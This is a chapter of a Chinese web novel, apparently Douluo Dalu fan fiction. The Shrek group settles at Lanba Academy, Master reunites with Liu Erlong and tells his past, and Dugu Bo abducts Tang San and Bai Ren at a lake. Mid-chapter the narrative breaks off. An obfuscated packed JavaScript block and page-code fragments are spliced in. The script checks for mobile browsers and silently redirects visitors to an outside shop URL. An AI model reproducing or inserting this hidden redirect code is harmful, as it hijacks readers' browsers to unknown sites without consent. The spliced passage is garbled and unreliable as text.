离开天斗皇家学院以后,众人并没有立刻进入天斗城。
唐三左臂残留的麻木尚未完全消退,白仞双翼受到的反噬也需要处理。弗兰德在山脚附近寻了一片不易受人打扰的树林,让所有人暂时停下休整。
奥斯卡一连制作了几根恢复香肠,几乎是盯着唐三与白仞吃下去。宁荣荣释放七宝琉璃塔,柔和光芒分别落到两人身上,帮助他们恢复消耗过度的魂力。朱竹清检查了白仞的左肩与背部,确认没有伤到骨骼,才放下方才一直悬着的心。
唐三从二十四桥明月夜中取出几种药草,简单调配后敷在左臂被毒雾擦过的位置。皮肤下那层极淡碧色缓慢褪去,手指也逐渐恢复知觉。
小舞一直蹲在他与白仞中间,看看唐三的手臂,又看看白仞依旧有些苍白的脸,几次想开口训斥,最后都因为不知道应该先说谁而忍了下来。
马红俊站在旁边看了半天,忍不住说道:“你要骂就一起骂吧,反正他们两个一个也跑不了。”
“你还好意思说?”小舞立刻转向他,“刚才是谁一直在旁边喊二哥撑住的?”
马红俊顿时噎住,片刻后才小声辩解道:“都已经上场了,总不能喊他赶快认输吧。”
奥斯卡扶着白仞靠在树下,闻言没好气地说道:“你倒是喊得轻松。最后那一下要是再多撑一会儿,他右翼的魂力循环都要被拖乱了。”
白仞抬眼看向他。“我知道自己的极限。”
“你在智林前辈面前也这么说,结果刚恢复没多久,就跑去和封号斗罗打了五分钟。”奥斯卡显然完全不相信,“你对极限的理解,和正常人可能不太一样。”
唐三活动了一下刚刚恢复知觉的手指,平静说道:“这次是我同意和他一起去的。”
“你也跑不了。”小舞立刻瞪向他,“二哥先站出去,你便一定要跟着吗?”
唐三没有立刻回答。
白仞侧头看了他一眼,眼里似乎掠过一点极浅笑意。小舞注意到以后更加生气,索性站起来背对两人,声称在大师处罚他们之前,自己都不想再和这两个完全不知道危险的人说话。
她嘴上这样说,片刻后却还是将水壶递给了唐三,又从奥斯卡那里接过一块干净布巾,放到白仞手边。
戴沐白坐在不远处,目光一直落在通往皇家学院的山路上。他方才主动打伤雪崩,虽然没有人因此责怪他,心里却不可能完全没有负担。
“若不是我昨日动手,雪星亲王未必能找到这么直接的借口。”他忽然开口,声音比平时低沉一些。
朱竹清站在他身边,没有急着安慰,只平静说道:“就算没有昨日的事,他也会找别的理由。”
白仞也抬眼看向戴沐白。“雪星亲王不是为了替雪崩出气才拒绝我们。他只是不能容忍一批不受他掌控的老师和学生突然进入皇家学院。你是否动手,只决定他用什么借口,不决定他会不会来。”
戴沐白沉默片刻,紧绷的肩背终于略微放松。“所以你在他面前说那些话,不只是为了院长?”
“也为了我们自己。”白仞回答,“若因为对方带来封号斗罗,我们便默认自己没有资格留下,那么今日离开以后,每个人心中都会留着这口气。”
弗兰德原本站在树林边缘,听见这句话,回头看了白仞一眼。
他没有再提方才的五分钟,也没有因为白仞理解了自己的心情而说什么感性的话,只抬手推了推眼镜,故意板着脸说道:“你既然这么了解院长,应该也知道擅自违抗命令要受罚。等安顿下来,你和唐三的训练量都翻倍。”
白仞安静片刻,转头看向唐三。“你听见了。”
唐三迎上他的目光。“是你先开的口。”
“你可以不出来。”白仞收回视线,语气里难得带了点推脱的意思。
唐三回答得很自然:“你知道我不会。”
弗兰德看着两人旁若无人地互相推卸责任,额角轻轻跳了一下。“你们是不是觉得两个人一起受罚,就等于没有受罚?”
赵无极在旁边笑出声来,压在众人心头的沉闷也终于散去一些。
休息半个时辰后,唐三左臂的毒素已经基本清除,白仞也能够正常运转魂力。弗兰德这才带领众人继续前往天斗城。
从山道进入城门时,正值午前最为热闹的时辰。宽阔街道由整齐青砖铺成,两侧店铺鳞次栉比,往来车马与行人远比索托城密集。马红俊刚刚经历一场战斗,进城后依旧很快被街边食物吸引,若不是戴沐白抓住他的衣领,几乎已经跟着香味脱离队伍。
白仞走在众人之间,目光缓慢扫过街道两侧。
这座城市与记忆中的天斗城十分相似,却又并不完全相同。一些未来极为熟悉的建筑此时尚未出现,某些道路也比记忆里更狭窄。那种感觉像是走进一幅没有完成的画,轮廓都在,细节却停留在许多年前。
而在城中更深处,另一名千仞雪仍然披着雪清河的身份生活。
白仞没有刻意寻找皇宫方向,只在经过一处能够远远看见宫墙的街口时,短暂停顿了一瞬。
唐三走在他身侧,顺着他的目光看去,却只看见远处高大的建筑与在阳光下泛着浅色光泽的屋脊。他没有当众询问,只稍微放慢脚步,与白仞保持在同一位置。
队伍行至一处公告栏前时,弗兰德忽然停了下来。
公告栏上张贴着数张来自不同商会与学院的招募告示,其中最醒目的一张写着蓝霸高级魂师学院正在招收教师。要求并不复杂,只要魂力超过四十级,经过实战考核便可任教,待遇也远比普通学院丰厚。
秦明看完告示后说道:“蓝霸学院在天斗城内名声不错,虽然创办时间不长,却只招收平民学员。上一届高级魂师学院大赛,他们甚至进入了前八名。”
“只收平民?”宁荣荣略显惊讶,“在天斗城里开办学院,还拒绝贵族学生,院长应该很有魄力。”
“也可能只是脾气古怪。”奥斯卡说道,“不过再古怪,总不会比带着封号斗罗上门赶人的亲王更难相处。”
马红俊盯着告示上的待遇看了片刻,问道:“学院招老师,我们怎么办?总不能让老师们留下,我们继续住旅店吧?”
弗兰德转过身,脸上的阴霾不知何时已经被精明取代。“老师都能通过考核,带几个亲传弟子进入学院旁听,应该不算过分。皇家学院看不上我们,自然还有别的地方愿意要。”
大师一眼便看出他已经有了决定。“先去看看。合不合适,到了以后再说。”
其他老师没有异议,学生们自然也跟着改变方向。秦明熟悉城内道路,很快便带领众人穿过数条长街,来到蓝霸学院门前。
学院门楼由汉白玉建成,虽然不如天斗皇家学院依山而建的气势,却宽阔端正,门上“蓝霸高级魂师学院”几个金字十分醒目。院墙内能够看见成片树木,教学建筑分布其间,整体规模远比众人原本预想中更大。
门岗旁挂着招聘告示,负责接待的教师见他们停下,很快迎了上来。
负责接待的中年教师看见一群成年人带着八名年纪不大的学生前来,最开始还以为所有人都要应聘,神情明显有些古怪。弗兰德解释只有几名老师参加考核,学生则是他们的弟子,希望老师通过以后能够一同进入学院。
“现在已经过了新生入学的时间。”接待老师有些为难地看向唐三等人,“而且高级魂师学院通常不会接收年纪这么小的学生。”
马红俊听见后小声说道:“昨天还被人嫌来历不明,今天又被嫌年纪太小。我们想找个学院怎么这么难?”
接待老师并没有听清,弗兰德已经笑着说道:“先考核老师。若我们的教学能力和学生实力都不符合要求,再拒绝也不迟。”
招聘考核并未持续太久。
蓝霸学院原本只是想招收几名四十级以上的教师,负责考核的人怎么也没有想到,一次竟来了数名魂帝与魂圣。弗兰德和赵无极只释放武魂与魂环,甚至没有真正动手,对面的考核老师便已经迅速停止测试。
秦明同样展现出超过六十级的魂力,令负责记录的人一度怀疑他们是不是某个大型宗门集体改换了门庭。至于大师,弗兰德只说他负责理论与战术教学,并未让他参加以魂力为标准的实战考核。
几名蓝霸学院教师低声商议后,最终决定将他们直接带去面见院长。
马红俊走在队伍后面,看着几位考核老师频频回头的模样,忍不住对奥斯卡说道:“他们刚才看赵老师释放魂环时,脸都白了。”
赵无极听见以后回头瞪了他一眼。“老子看起来有那么吓人?”
奥斯卡认真打量片刻。“不释放武魂的时候还好。”
赵无极问道:“那释放以后呢?”奥斯卡说道:“比较像他们不通过考核,您就会把考场拆了。”
赵无极抬手便要抓他,奥斯卡早有准备,立刻躲到白仞另一侧。白仞没有替他拦人,只向旁边让开半步,任由赵无极准确揪住奥斯卡后领。
穿过学院主要教学区以后,周围建筑逐渐减少,取而代之的是一片生长茂盛的森林。负责带路的三名教师解释,院长平日并不住在办公区域,而是独自居住在森林深处,除非学院出现重要事务,很少有人会前去打扰。
“把学院扔给老师们管理,自己跑到树林里住?”马红俊被赵无极放开后整理着衣领,“这位院长确实比弗兰德院长更像甩手掌柜。”
弗兰德走在前方,头也不回地说道:“我什么时候把学院扔给别人管理过?”
“您以前把训练扔给大师,做饭扔给邵老师,打架扔给赵老师,赚钱扔给我们斗魂。”马红俊掰着手指认真计算,“剩下的好像也不多。”
这一次连秦明都没忍住笑出了声。
森林深处很快传来一道清越而略带哀伤的歌声。歌声并不响,却沿着林木间的风缓慢飘来。走在最前方的大师忽然停住脚步,脸色在一瞬间变得苍白。
弗兰德脸上的笑意也消失了。
两人对视一眼,谁都没有立刻说话。赵无极注意到他们神情不对,原本轻松的步伐也随之放缓。
白仞看着大师下意识攥紧的手指,知道这片森林中的人绝不只是普通故交。
负责引路的教师没有察觉异常,只继续向前走去。众人穿过一片低矮灌木后,一座由木篱笆围起的小院出现在眼前。院内搭着几间简朴木屋,周围种满各色花草,一名身穿青色布裙的美妇正站在花丛旁。
她看上去三十余岁,眉眼艳丽,身形高挑,一头黑发简单束在身后。听见脚步声后,她先是略带不耐地转过身,视线却在落到大师身上的那一刻彻底凝固。
手中的水壶从指间滑落,撞在石阶上,清水洒了一地。
“小刚?”
她只说出两个字,声音便已经颤抖起来。下一瞬,美妇身形一闪,几乎没有人看清她如何越过篱笆,便已经站在大师面前。
大师脸上血色尽失。
他看着眼前的人,嘴唇动了几次,却始终没能发出声音。那双平日总是冷静而严肃的眼睛迅速泛红,身体也像被某种无形力量钉在原地,连后退一步都做不到。
美妇眼中的泪水已经落下。“真的是你。你还活着,为什么这么多年都不来见我?”
大师仍旧无法回答。
弗兰德在一旁看了许久,最终轻轻叹了口气。“二龙妹,多年不见。”
柳二龙这才像终于注意到旁边还有其他人。她转头看向弗兰德,眼中同样闪过复杂情绪,随后却很快重新落回大师身上。
“弗老大。”她声音仍有些不稳,“你们怎么会一起来这里?”
弗兰德简单说明了史莱克众人从索托城前来,又在天斗皇家学院受到雪星亲王刁难的经过。听见雪星亲王甚至带来独孤博威逼一群学生时,柳二龙眼底的激动迅速被怒意取代,周围气息也跟着骤然变得灼热。
“好一个天斗皇家学院。”她冷笑一声,“仗着背后有皇室,连几个孩子都要用封号斗罗压制。弗老大,其他话不用说了。蓝霸学院由我作主,你们全部留下。”
弗兰德看了仍旧沉默的大师一眼,故意笑道:“我们人可不少,要求也高。学生不能拆散,老师还要继续负责原本的教学。”
“学院都可以交给你,还谈什么要求?”柳二龙说得毫不犹豫,“我本来就不喜欢处理这些琐事。你来了正好,从今天开始,学院归你管理。”
弗兰德脸上的笑容短暂僵住,显然没想到她会如此直接。“二龙妹,你连我们带来的学生实力都没看,便准备把学院交出来?”
“你带出来的人,还有什么可看的?”柳二龙说完,目光再次落到大师脸上,声音也缓和下来,“更何况,你们来了,他便不会再轻易消失。”
大师身体明显一僵,却仍然没有回应。
弗兰德看着两人之间几乎凝固的气氛,没有继续开玩笑。他向众人介绍,眼前的柳二龙正是当年与自己、大师共同闯荡魂师界的伙伴,也是黄金铁三角中最擅长正面战斗的一角。
众人纷纷上前行礼。
柳二龙勉强收敛情绪,一一回应。她看向学生时态度爽朗许多,尤其在得知白仞与唐三刚刚以四十级层次的魂力在独孤博手中撑过五分钟后,眼中的惊讶毫不掩饰。
“你们两个就是刚才和独孤博交手的孩子?”她打量着唐三与白仞,随后转头看向大师,“你教出来的学生,胆子倒是和你年轻时完全不同。”
大师脸色微变。
弗兰德立刻咳嗽一声,将话题转到学院安排上。柳二龙没有继续逼问,只叫引路的几名教师去准备午饭与住处,自己则带着众人简单参观学院。
蓝霸学院的设施不如天斗皇家学院奢华,却远胜曾经的史莱克。这里拥有完整教学楼、训练场与宿舍,学院后方大片森林也全部属于学院范围,可以作为多种兽武魂与植物武魂的拟态修炼环境。
更重要的是,这里的学生大多出身普通家庭。
一路经过训练场时,不少学员穿着已经洗得发白的校服,修炼态度却十分认真。即使看见柳二龙带着一大群陌生人经过,也只是短暂行礼,很快便继续自己的训练。
白仞看着那些年轻魂师,忽然理解柳二龙为什么不愿接收贵族学生。
与天斗皇家学院相比,这里少了几分精致,却多了一种真正属于学院的气息。学生来这里不是因为家族安排,也不是为了借皇室身份结交人脉,只是为了修炼。
戴沐白显然也有相似感受。他看了一会儿训练场上的学员,说道:“条件虽然差一些,但至少不像皇家学院山门那群人。”
朱竹清站在他身侧,轻轻点了点头。“这里更适合我们。”
午饭期间,柳二龙简单介绍了学院情况,又直接将今后的管理与教学安排推给弗兰德。弗兰德最初还想推辞,听见学院账目与日常开支也全部由自己负责后,眼睛明显亮了一下,态度很快从坚决拒绝变成了“暂时帮忙”。
赵无极看破不说破,只在旁边笑得意味深长。
学生们则被安排到教师宿舍区附近的一座独立院落。房间数量足够,这一次不需要再像史莱克时期那样多人挤住。奥斯卡却仍然抢先选了白仞隔壁的房间,声称新环境中必须延续多年养成的互相照顾。
唐三站在另一侧走廊,看着奥斯卡把行李放进房间,随后安静地选择了白仞另一边的空屋。
马红俊抱着被褥经过,见状停下脚步。“你们这是什么排法?白仞住中间,小奥和小三一左一右?”
奥斯卡从房内探出头来。“我和白仞住了这么多年,自然应该在旁边。”
马红俊又看向唐三。“那你呢?”
唐三将房门推开。“这间离小舞也近。”
小舞与宁荣荣正好住在走廊对面,听见后立即点头,证明唐三选择这里十分合理。马红俊看了看房间位置,总觉得哪里不对,却又说不出问题,只能抱着自己的东西继续向前。
经历清晨的接纳、上午的冲突与战斗,再到下午突然找到新的落脚处,所有人都已经十分疲惫。晚饭并未准备得过于丰盛,众人简单吃过便各自返回住处。
柳二龙整顿好学院事务后,几次试图与大师单独说话,大师却总能找到别的理由避开。不是询问学生伤势,便是与弗兰德讨论教学安排,始终没有真正与她独处。
这种刻意连马红俊都看得出来。
回到院落以后,他刚想向戴沐白打听黄金铁三角之间究竟发生过什么,便被朱竹清一句“不该问的别问”堵了回去。
唐三正准备继续处理左臂残留的麻木,大师却出现在门外。
院中众人原本正在说话,见到大师后立刻安静许多。魔鬼训练留下的影响显然仍在,连马红俊都下意识坐直身体。
大师的目光从众人身上扫过,最后停在唐三与白仞身上。“小三,白仞,你们跟我出去走走。”
唐三有些意外,仍然立刻起身。白仞也放下手中的事,与他一同跟上大师。
三人离开院落,沿着学院后方的林间小路缓慢前行。
夜色已经完全落下,树林里没有照明魂导器,只有月光从枝叶间漏下,在地面留下细碎光影。大师一路没有说话,直到宿舍区的声音彻底听不见,才在一片安静湖水旁停下脚步。
唐三与白仞也随之停下。
大师背对他们站了很久,才说道:“你们今日应该已经看出来,我与二龙之间并不只是多年未见的朋友。”
唐三没有否认。“柳院长见到老师时,情绪很激动。”
白仞则安静等待后文。
大师望着湖面被月光照亮的水纹,语气比平时缓慢许多。“年轻时,我因为武魂变异,终生无法突破三十级,在家族中受尽嘲笑,最终离开蓝电霸王龙家族。后来,我遇到了弗兰德,又遇到了二龙。我们三人一同在大陆游历,因为武魂可以形成融合技,渐渐有了黄金铁三角的称号。”
他说到这里停顿片刻,像是在整理那些多年不愿触碰的记忆。“弗兰德与我都喜欢二龙。后来她选择了我,我们原本已经决定成婚。可就在婚礼那天,我才知道她是我二叔流落在外的女儿。按照血缘,她是我的堂妹。”
唐三神情微变
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710288|208369||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。白仞也终于明白,大师面对柳二龙时那种无法靠近、又无法真正移开视线的痛苦从何而来。
“我无法接受。”大师声音有些发涩,“我离开了她,也离开了弗兰德。从那以后,很多年没有再见。二龙一直在等,而我始终不知道应该如何面对她。”
他没有像讲述理论那样分析自己的选择,也没有试图证明当年离开是唯一正确的决定。短短几句话,已经足够让唐三与白仞理解那段关系为何会成为困住三个人多年的结。
湖边安静了很久。
唐三望着大师略显僵硬的背影,心中不由得思考,倘若自己处在相同位置,又会如何选择。
他过去从未认真想过爱情相关的感情。
前一世,他将所有精力放在唐门武学与暗器上,直至坠崖也没有真正亲近过任何人。来到这个世界以后,他最先拥有的是亲情。父亲、老师、小舞,还有后来重新回到身边的白仞,都是他愿意用性命保护的人。
可当他试图将大师与柳二龙的处境代入自己时,目光却下意识落到了白仞身上。
白仞站在他身侧,银白长发被夜风轻轻吹动,侧脸在月色下显得比平时更加安静。他似乎仍在思考大师刚才的话,没有察觉唐三的注视。
他们是兄弟。
白仞与小舞一样,都是唐三认定的家人。若小舞受伤,他会愤怒,会不惜代价保护她;当初小舞面对赵无极的攻击时,他也从未犹豫过要站到她前面。
可白仞似乎又不完全一样。
或许是因为那失踪的六年。
白仞第一次从他生命中消失时,没有留下解释,也没有给他寻找的方向。那六年像一道始终无法填平的空缺,即使如今白仞重新站在身边,一起晨练、战斗、吃饭,许多习惯都和小时候一样,某些东西却已经悄然改变。
唐三会比以前更在意白仞去了哪里,会留意他与谁说话,也会在他沉默时不断猜测那些没有说出口的内容。白仞受伤时,他想保护的不只是对方的身体,还会产生一种近乎急躁的念头,想让白仞不再将自己隔绝在外。
想到小舞时,唐三先想起的总是她扑过来喊哥、把糖分给他的样子。他愿意护着她,也愿意看她以后去任何想去的地方,只要她平安自在便好。
可想到白仞时,那份心情却没有这样清楚。
他希望白仞留在身边,希望自己始终是白仞最先信任、最愿意依靠的人。看见奥斯卡能够凭借多年同住的经历轻易靠近白仞时,他会本能地注意;听见白仞说某些事情只能自己承担时,他也会产生无法忽视的不悦。
那不只是兄长对弟弟的保护。
若一定要形容,竟像是一种连唐三自己都不熟悉的占有。他不愿白仞再次消失,也不愿有一天,另一个人在白仞心中的位置超过自己。
可这种感情究竟是什么,唐三无法判断。他没有任何相关经验,也不知道这是否与大师口中的爱相似。白仞本就是他的弟弟,是与小舞一样重要的亲人,或许只是六年的失而复得,让他比过去更加无法容忍分离。
唐三最终没有继续深究。
至少现在,白仞就在他身边。
只要白仞能够一直留下,只要自己仍然是他最亲近、最信任的人,那便足够了。
白仞似乎终于感觉到他的视线,侧过脸问道:“大哥,你在看什么?”
唐三迎上那双金色眼睛,心中方才略显混乱的念头忽然平静下来。“没什么。只是在想老师的选择。”
大师转过身,看向两名弟子。“你们觉得,我当年做错了吗?”
唐三没有立刻回答。他思索片刻,才说道:“老师发现血缘关系以后无法接受,我不能替您判断对错。但您没有给柳院长一起作出决定的机会,便独自离开,这一点对她并不公平。”
大师神情微震。
白仞也开口说道:“您离开或许是为了避免她承受流言,也可能觉得自己没有资格要求她陪您面对。但她究竟愿不愿意承担,应该由她自己决定。替别人选择看似是保护,有时只是让对方连挽留的机会都没有。”
大师沉默下来。
唐三听见白仞的话,心中微微一动。他想到白仞那六年的失踪,也想到对方如今仍然不肯完全说明的梦境。白仞似乎察觉他的想法,眼神短暂避开,重新落到湖面上。
“有些离开不是自己能够决定的。”白仞补充道,“但若有选择,至少应该让重要的人知道原因。”
大师看着他,像是听懂了这句话背后的另一层含义,却没有追问。“二龙等了这么多年。若我现在接受她,过去那些阻碍依旧存在。”
“可它们没有因为您的离开消失。”唐三说道,“柳院长仍然在等,您也没有真正放下。逃避只是让两个人都停在原地。”
大师唇边浮起一丝苦涩。“你们年纪不大,说起这些倒比我简单。”
“因为我们不是您。”白仞回答得平静,“真正要作出决定的人只能是您。我们最多只能告诉您,从旁边看见了什么。”
大师长长吐出一口气,望向远处被月色覆盖的树林。“我叫你们出来,本来也不是为了让你们替我决定。只是这些事压得太久,今日突然见到她,我需要找人说出来。”
唐三走到他身旁。“无论老师最后如何选择,我们都不会因此改变对您的看法。”
白仞也微微点头。“但柳院长大概不会再让您轻易离开。”
想到白日里柳二龙看向自己的眼神,大师身体明显僵了一下。唐三眼中浮起一点笑意,白仞也难得没有掩饰唇边浅淡弧度。
压抑许久的气氛终于稍微放松。
大师正准备带两人返回宿舍,白仞的脚步却忽然停住。
夜风仍在吹动树叶,湖面也没有异常,可他灵魂深处的死神镰刀却传来一阵极轻微的震动。与白日里独孤博进入教委会时一样,那种正在持续腐蚀血肉与经脉的气息再次出现在附近,并且正以极快速度接近。
“老师,小心。”
白仞话音刚落,一层极淡绿色雾气已经从树林深处弥漫而出。
大师脸色骤变,罗三炮几乎在同一时刻出现在脚边。唐三抬手释放蓝银草,身体却在魂环尚未完全升起以前骤然一沉,仿佛周围空气瞬间化作无形巨石,将四肢牢牢压在原地。
一道高瘦身影从树影中缓慢走出。
墨绿色长发,瘦削面庞,以及那双泛着幽冷光泽的眼睛,无一不证明来人的身份。
独孤博。
大师立刻挡到两名弟子前方,厉声问道:“毒斗罗前辈深夜来到这里,想做什么?”
独孤博没有看他,只将目光依次落到唐三与白仞身上。“白天人太多,有些问题不方便问。现在正好,你们两个跟我走一趟。”
大师身体绷紧。“他们只是孩子。前辈若对今日之事仍有不满,可以冲我来。”
“冲你来?”独孤博终于看向他,语气中带着毫不掩饰的不耐,“你连三十级都不到,我找你有什么用?”
大师脸色微白,却仍然没有让开。“他们不会跟你走。”
“这可由不得你。”独孤博抬起一只手,周围绿色雾气骤然收紧。罗三炮刚刚发出一声低吼,身体便像被无形巨蛇缠住,无法再向前半步。
唐三体内玄天功疯狂运转,试图冲开那股压迫。白仞背后也亮起黑白两色光芒,可寂灭双翼尚未完全展开,一缕碧绿色魂力已经分别缠上两人的手腕。
独孤博看向唐三,眼中带着白日里尚未完全消失的兴趣。“你能看出我的毒如何运行,也能暂时封住它。老夫倒想知道,一个三十三级的小鬼究竟从哪里学来这些本事。”
随后,他的视线转向白仞:“至于你,从我踏入教委会开始,便一直盯着我的经脉和脏腑。你那双眼睛,似乎看见了不该看见的东西。”
白仞没有否认,只冷静说道:“前辈体内的毒正在反噬自身,而且并非一日两日。”
独孤博眼底骤然闪过一抹骇人的碧光,大师也因这句话怔了一瞬。
独孤博盯着白仞许久,忽然低低笑了起来。“果然。一个懂毒,一个能看见毒。今日倒没有白来。”
碧绿色魂力猛然收紧。唐三脚下蓝银草骤然生长,试图缠住大师身侧的树木稳住身体。白仞也在同一瞬间展开左翼,想要将唐三与自己向后带离。可双方魂力差距实在太大,所有反抗只维持了短短一瞬,便被独孤博轻易压制。
“老师,我们不会有事。”唐三在身体被拖向独孤博以前迅速开口,“他若想杀我们,没必要说这么多。”
白仞也看向大师。“告诉小舞和其他人,不要追来。”
“白仞,小三!”
大师向前迈出一步,缠绕罗三炮与身体的碧绿色魂力却骤然加重,令他无法继续靠近。
独孤博一手抓住唐三肩膀,另一只手扣住白仞手腕。绿色魂力将三人完全笼罩,下一瞬便化作一道模糊碧影,掠入树林深处。
白仞最后看见的,是大师站在月色下骤然苍白的脸。
紧接着,周围树木与湖水都被急速后退的夜色吞没。